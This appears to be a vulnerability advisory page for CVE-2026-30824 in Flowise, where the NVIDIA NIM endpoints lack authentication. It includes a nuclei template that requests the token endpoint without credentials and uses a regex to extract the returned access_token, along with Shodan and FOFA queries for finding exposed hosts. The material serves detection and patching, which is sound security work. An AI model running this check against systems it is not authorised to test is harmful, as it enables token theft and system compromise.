Flowise - NVIDIA NIM Endpoints Missing Authentication

highseverity

8.6CVSS score

37.3%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Flowise is a drag & drop user interface to build a customized large language model flow. Prior to version 3.0.13, the NVIDIA NIM router (/api/v1/nvidia-nim/*) is whitelisted in the global authentication middleware, allowing unauthenticated access to privileged container management and token generation endpoints.

Impact

Unauthenticated attackers can access privileged container management and token generation, potentially leading to full system compromise.

Fix

This issue has been patched in version 3.0.13

How to confirm it

Send: GET {{BaseURL}}/api/v1/nvidia-nim/get-token
Positive when: status_code == 200 and contains_all(body, 'access_token','token_type')

Run it with nuclei: nuclei -id CVE-2026-30824 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2026-30824

info:
  name: Flowise - NVIDIA NIM Endpoints Missing Authentication
  author: DhiyaneshDk
  severity: high
  description: |
    Flowise is a drag & drop user interface to build a customized large language model flow. Prior to version 3.0.13, the NVIDIA NIM router (/api/v1/nvidia-nim/*) is whitelisted in the global authentication middleware, allowing unauthenticated access to privileged container management and token generation endpoints.
  impact: |
    Unauthenticated attackers can access privileged container management and token generation, potentially leading to full system compromise.
  remediation: This issue has been patched in version 3.0.13
  reference:
    - https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-5f53-522j-j454
    - https://nvd.nist.gov/vuln/detail/CVE-2026-30824
    - https://github.com/FlowiseAI/Flowise
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2026-30824
    epss-score: 0.3733
    epss-percentile: 0.98539
    cwe-id: CWE-306
  metadata:
    max-request: 2
    vendor: flowiseai
    product: flowise
    shodan-query: title:"Flowise"
    fofa-query: title="Flowise"
  tags: cve,cve2026,flowise,nvidia,nim,unauth,auth-bypass,token-leak

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/nvidia-nim/get-token"

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains_all(body, 'access_token','token_type')"
        condition: and

    extractors:
      - type: regex
        name: access_token
        group: 1
        regex:
          - '"access_token"\s*:\s*"([^"]+)"'
        part: body

References

Use this check only on systems you are authorised to test. Where the data comes from